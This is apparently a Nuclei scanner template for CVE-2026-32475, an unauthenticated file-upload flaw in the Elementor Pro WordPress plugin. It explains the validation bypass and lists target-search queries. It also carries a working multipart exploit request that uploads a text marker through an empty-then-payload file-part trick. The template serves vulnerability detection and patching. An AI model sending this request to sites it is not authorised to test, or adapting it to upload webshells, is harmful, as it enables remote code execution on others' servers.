id: CVE-2026-32475 info: name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler author: pdteam severity: critical description: | Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce. impact: | Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells. remediation: | Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries. reference: - https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2026-32475 - https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE - https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.0 cve-id: CVE-2026-32475 cwe-id: CWE-434 epss-score: 0.02374 epss-percentile: 0.82858 metadata: verified: true max-request: 3 vendor: elementor product: elementor-pro framework: wordpress fofa-query: body="/plugins/elementor-pro/" shodan-query: html:"/plugins/elementor-pro/" publicwww-query: "/wp-content/plugins/elementor-pro/" tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln variables: marker: "{{rand_text_alpha(12)}}" fname: "{{rand_text_alpha(8)}}.txt" flow: http(1) && http(2) && http(3) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt" matchers: - type: word words: - "Elementor Pro" internal: true - method: GET path: - "{{BaseURL}}" extractors: - type: regex name: post_id group: 1 regex: - 'name="post_id"\s+value="(\d+)"' - '"post_id"\s*:\s*"?(\d+)"?' internal: true - type: regex name: form_id group: 1 regex: - 'name="form_id"\s+value="([a-f0-9A-F]{4,16})"' - '"form_id"\s*:\s*"([a-f0-9A-F]{4,16})"' internal: true - type: regex name: field_id group: 1 regex: - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="file"' - 'type="file"\s[^>]*name="form_fields\[([^\]]+)\]"' internal: true - type: regex name: text_field group: 1 regex: - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="text"' - 'type="text"\s[^>]*name="form_fields\[([^\]]+)\]"' internal: true - type: regex name: email_field group: 1 regex: - 'name="form_fields\[([^\]]+)\]"\s[^>]*type="email"' - 'type="email"\s[^>]*name="form_fields\[([^\]]+)\]"' internal: true matchers: - type: word words: - "elementor-form" - 'type="file"' condition: and internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl X-Requested-With: XMLHttpRequest Accept: application/json, text/javascript, */*; q=0.01 Connection: close --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="action" elementor_pro_forms_send_form --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="post_id" {{post_id}} --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="form_id" {{form_id}} --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="queried_id" {{post_id}} --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="referrer" {{BaseURL}} --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="form_fields[{{text_field}}]" Test User --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="form_fields[{{email_field}}]" test@example.com --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="form_fields[{{field_id}}][0]"; filename="" Content-Type: application/octet-stream --WebKitFormBoundarySBDsMGAl Content-Disposition: form-data; name="form_fields[{{field_id}}][1]"; filename="{{fname}}" Content-Type: text/plain CVE-2026-32475-PoC-{{marker}} --WebKitFormBoundarySBDsMGAl-- matchers-condition: and matchers: - type: word part: body words: - '"success":true' - type: status status: - 200 - type: word part: body words: - "not_allowed" - "are not allowed to access this page" - "permission_denied" - "invalid_nonce" - "rest_forbidden" negative: true extractors: - type: regex part: body name: upload_confirmed regex: - '"success"\s*:\s*true' # digest: 4a0a0047304502207b3a0249d78a35243bcffb4945dd8514f89157bd3852a3116a43610b4b0489ac022100a20b43e431fb148cbb458b321d4e91fc3dabd3a2c8499a395034e457c0489960:922c64590222798bb761d5b6d8e72950